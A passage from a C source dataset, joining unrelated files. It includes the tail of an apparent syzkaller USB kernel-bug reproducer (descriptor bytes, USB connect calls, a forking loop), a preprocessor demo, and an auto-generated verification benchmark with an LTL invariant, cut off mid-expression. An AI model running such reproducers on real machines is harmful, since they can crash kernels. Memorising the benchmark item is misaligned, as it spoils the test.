"\xfa\x36\x13\x78\x5b\x28\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xd9\x02\x94\x2a\xa4\x2a\x2d\x0a\xca" "\xf3\xb8\x43\xfd\x3c\xeb\xb0\x28\x4c\x68\x04\xe1\x00\x3b\x25\xbb\x66\x62" "\x04\xf7\x28\xd2\x2c\x4c\xcf\x6b\xbc\x17\x07\x3a\x1f\x00\x00\x00\xae\xb1" "\x5e\xf1\xbe\xe1\x60\x19\xd7\xdc\xa8\xfb\x7d\xdc\x07\x25\xc6\x68\x24\x2c" "\x2a\x18\xa9\x05\x68\x72\x98\x10\xef\xb8\x52\x4a\x3b\x51\x43\xe5\x66\x73" "\xc4\x27\xe1\x4c\x0a\xb0\xbe\x41\xf1\x6c\x9d\x54\x7c\xfe\xdb\x3e\x3f\xcb" "\x1e\xa4\xd0\xc3\x1c\x3c\xd9\x93\xfc\x4f\x13\x34\x8c\x42\xe1\xb2\x08\x00" "\x00\x00\x3b\x52\xe2\x12\xf4\x59\xa4\xca\xb3\xa1\x19\x0b\x8a\x94\x4a\x07" "\xc4\xba\x5c\x3d\x2d\xef\x05\x5f\x97\xce\xfb\xe1\x6f\xed\xbf\xbe\xa5\xc1" "\x92\x0e\x96\xef\xb4\xcf\x8b\x93\x2a\xd9\x71\xfd\x3f\x42\x9c\xdd\x75\x95" "\xa4\x76\xc7\x72\x54\x4b\xa8\xa5\xf2\x0d\x14\xf6\x6a\x07\x9d\x94\xed\x38" "\x44\xc7\x36\x04\xbd\x09\xb0\x2f\xe1\x94\x75\xb8\xaa\x89\x9d\xfb\xe1\xa2" "\x00\x00\x00\x00\x00\x00\x00\x19\x67\x11\xea\xe7\x47\x86\x65\xf0\x86\xb2" "\x65\xf3\x0e\x57\x1e\xfa\xdf\xf0\xd1\x60\xba\x67\xdf\x4c\xc3\xb2\x21\x21" "\x25\x35\xee\xcb\x6a\xc6\x18\xf2\xd2\x04\xb7\xac\xec\x54\xcd\x67\xa0\x06" "\x2a\x14\x46\xf8\xff\xff\xff\x57\xe1\xf6\x15\xa3\xaf\x4e\x38\x89\x23\x78" "\x3f\x70\x7e\x63\x9a\xa3\xee\xc3\x12\x96\x34\x91\x0b\xf3\x09\xb6\x9b\xb5" "\xdf\x6c\x2e\xf4\x20\x17\xbe\x56\xda\x68\x44\x90\x85\x49\x74\x6c\xe4\xbe" "\x41\xec\xce\x5d\x57\x64\x57\xa1\xb1\x8a\xdd\x7f\xc1\x7e\x5a\xab\x45\xea" "\x89\xb3\xcf\xdf\xfc\xb6\x25\xe1\x12\xda\xe9\x51\x15\xcc\x3c\x10\xc3\x3d" "\xae\xac\xac\xde\x3d\x2b\xab\xcf\x10\xb1\xf6\x7a\x1c\x8d\xb1\x71\x53\x18" "\xd4\xb6\x50\xca\xff\x54\x06\x64\xe1\x67\x9c\x53\x55\x49\xbb\xc1\xbf\x82" "\xa3\xb6\x01\xb5\x54\xba\x06\x12\xc1\x90\x97\x71\xfd\xf4\x55\x7e\xe4\xa5" "\x38\xb1\xa2\xe5\x0e\x32\x21\x30\x9a\xc9\x82\xd7\x79\xb9\x6a\x6a\xb1\x5d" "\x5d\x35\xb5\xd7\x88\x9c\xfa\x4f\xf5\xe4\x71\x96\x28\x14\x32\x56\x3b\xa3" "\x88\x1d\xfd\x4b\xb6\x51\x7d\x91\x7d\xf8\x34\x35\xf0\x08\x6e\xb4\x27\x5a" "\xe4\x6a\xb3\xc3\x61\xb6\x0f\x29\x06\x25\x2c\x7d\x28\x0c\x95\xdb\x70\x4e" "\xb6\x08\x1f\xdb\xea\xd5\xea\x50\x33\x71\x1a\xdc\xc7\x5b\x18\xd3\x21\x64" "\x8f\x34\xbb\x6a\x26\xa9\x61\xe5\x3a\x15\x1f\x14\x9e\xa0\x7a\x4b\x06\x6e" "\xca\x42\x0b\x33\x88\x35\xdf\x8a\xae\x0c\x1c\x3e\x86\x9f\x37\x75\xc6\x9b" "\xd1\x03\xff\x9a\x0f\x85\xfb\x97\xe0\x2f\x81\xa1\x7d\x15\x7a\x6a\x40\x34" "\x81\xd5\x1a\x01\x54\x2b\x94\xa9\x13\x6d\x7c\x93\x50\xad\x81\x04\x87\xeb" "\x57\x19\xac\xb9\x43\x39\x2e\x4f\x24\x79\xdc\xac\xc2\x2a\xfa\xea\x57\x8c" "\xc8\xd1\x23\x04", 724); res = syz_usb_connect(1, 0x2d, 0x20000380, 0); if (res != -1) r[0] = res; syz_open_dev(0xc, 0xb4, 0); syz_usb_disconnect(r[0]); } int main(void) { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { loop(); } } sleep(1000000); return 0; }
the_stack_data/67921.c	/* Preprocessor directives / //T// #include, #define, #undef, #error, #ifdef, #ifndef, #endif, #if, defined(), #elif, #else, a few stdio.h macros #include <stdio.h> #define VAR_FIRST __DATE__ #undef VAR_FIRST #ifdef VAR_FIRST # error "Variable must not be defined" #endif #ifndef VAR_FIRST #define VAR_SEC __STDC__ #endif #if defined(VAR_SEC) && !defined(VAR_FIRST) #define VAR_INS __FILE__ #elif defined(VAR_FIRST) #define VAR_INS __LINE__ #else #define VAR_INS __TIME__ #endif //T// stringize operator #, macro continuation operator, token pasting operator ##, #pragma, function in #define #define Z1(b1,n) printf(#b1" or a non string: %d\n",c##n) #define Z2(x) (x x) #pragma pack(1) int main () { struct st1 { int i1; char c1; }a; int b = 1, c5 = 9; Z1(b,5); printf("Square of five: %d\n",Z2(5)); return 0; }
the_stack_data/48576401.c	//@ ltl invariant negative: (([] AP(x_21 - x_11 >= -13)) U ([] AP(x_30 - x_17 > 17))); float x_0; float x_1; float x_2; float x_3; float x_4; float x_5; float x_6; float x_7; float x_8; float x_9; float x_10; float x_11; float x_12; float x_13; float x_14; float x_15; float x_16; float x_17; float x_18; float x_19; float x_20; float x_21; float x_22; float x_23; float x_24; float x_25; float x_26; float x_27; float x_28; float x_29; float x_30; float x_31; int main() { float x_0_; float x_1_; float x_2_; float x_3_; float x_4_; float x_5_; float x_6_; float x_7_; float x_8_; float x_9_; float x_10_; float x_11_; float x_12_; float x_13_; float x_14_; float x_15_; float x_16_; float x_17_; float x_18_; float x_19_; float x_20_; float x_21_; float x_22_; float x_23_; float x_24_; float x_25_; float x_26_; float x_27_; float x_28_; float x_29_; float x_30_; float x_31_; while(1) { x_0_ = (((((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) > (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))? (((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) : (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))) > ((((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) > (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30)))? (((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) : (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))))? ((((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) > (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))? (((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) > ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))? ((15.0 + x_2) > (18.0 + x_4)? (15.0 + x_2) : (18.0 + x_4)) : ((17.0 + x_7) > (13.0 + x_9)? (17.0 + x_7) : (13.0 + x_9))) : (((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) > ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15))? ((5.0 + x_12) > (8.0 + x_13)? (5.0 + x_12) : (8.0 + x_13)) : ((12.0 + x_14) > (5.0 + x_15)? (12.0 + x_14) : (5.0 + x_15)))) : ((((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) > (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30)))? (((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) > ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))? ((16.0 + x_16) > (11.0 + x_17)? (16.0 + x_16) : (11.0 + x_17)) : ((19.0 + x_18) > (10.0 + x_19)? (19.0 + x_18) : (10.0 + x_19))) : (((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) > ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))? ((2.0 + x_20) > (5.0 + x_24)? (2.0 + x_20) : (5.0 + x_24)) : ((8.0 + x_29) > (16.0 + x_30)? (8.0 + x_29) : (16.0 + x_30))))); x_1_ = (((((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) > (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))? (((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) : (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))) > ((((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) > (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31)))? (((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) : (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))))? ((((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) > (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))? (((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) > ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))? ((6.0 + x_0) > (18.0 + x_1)? (6.0 + x_0) : (18.0 + x_1)) : ((3.0 + x_7) > (7.0 + x_10)? (3.0 + x_7) : (7.0 + x_10))) : (((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) > ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15))? ((4.0 + x_11) > (18.0 + x_12)? (4.0 + x_11) : (18.0 + x_12)) : ((16.0 + x_14) > (2.0 + x_15)? (16.0 + x_14) : (2.0 + x_15)))) : ((((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) > (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31)))? (((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) > ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))? ((10.0 + x_18) > (14.0 + x_20)? (10.0 + x_18) : (14.0 + x_20)) : ((3.0 + x_22) > (9.0 + x_24)? (3.0 + x_22) : (9.0 + x_24))) : (((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) > ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))? ((3.0 + x_28) > (14.0 + x_29)? (3.0 + x_28) : (14.0 + x_29)) : ((14.0 + x_30) > (5.0 + x_31)? (14.0 + x_30) : (5.0 + x_31))))); x_2_ = (((((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) > (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))? (((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) : (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))) > ((((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) > (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31)))? (((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) : (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))))? ((((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) > (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))? (((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) > ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))? ((9.0 + x_0) > (20.0 + x_1)? (9.0 + x_0) : (20.0 + x_1)) : ((3.0 + x_2) > (20.0 + x_3)? (3.0 + x_2) : (20.0 + x_3))) : (((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) > ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10))? ((19.0 + x_5) > (6.0 + x_6)? (19.0 + x_5) : (6.0 + x_6)) : ((14.0 + x_8) > (8.0 + x_10)? (14.0 + x_8) : (8.0 + x_10)))) : ((((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) > (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31)))? (((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) > ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))? ((2.0 + x_13) > (8.0 + x_15)? (2.0 + x_13) : (8.0 + x_15)) : ((1.0 + x_17) > (4.0 + x_18)? (1.0 + x_17) : (4.0 + x_18))) : (((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) > ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))? ((10.0 + x_20) > (20.0 + x_25)? (10.0 + x_20) : (20.0 + x_25)) : ((8.0 + x_30) > (4.0 + x_31)? (8.0 + x_30) : (4.0 + x_31))))); x_3_ = (((((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) > (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))? (((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) : (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))) > ((((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) > (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31)))? (((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) : (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))))? ((((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) > (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))? (((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) > ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))? ((3.0 + x_3) > (2.0 + x_4)? (3.0 + x_3) : (2.0 + x_4)) : ((5.0 + x_5) > (17.0 + x_6)? (5.0 + x_5) : (17.0 + x_6))) : (((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) > ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12))? ((19.0 + x_8) > (3.0 + x_10)? (19.0 + x_8) : (3.0 + x_10)) : ((7.0 + x_11) > (5.0 + x_12)? (7.0 + x_11) : (5.0 + x_12)))) : ((((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) > (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31)))? (((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) > ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))? ((7.0 + x_15) > (2.0 + x_17)? (7.0 + x_15) : (2.0 + x_17)) : ((15.0 + x_20) > (6.0 + x_21)? (15.0 + x_20) : (6.0 + x_21))) : (((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) > ((10.0 + x_30) > (6.0 + x_31)? (10.0 + x_30) : (6.0 + x_31))? ((14.0 + x_23) > (5.0 + x_29)? (14.0 + x_23) : (5.0 + x_29)) : ((10.0 + x_30) > (6.0 + 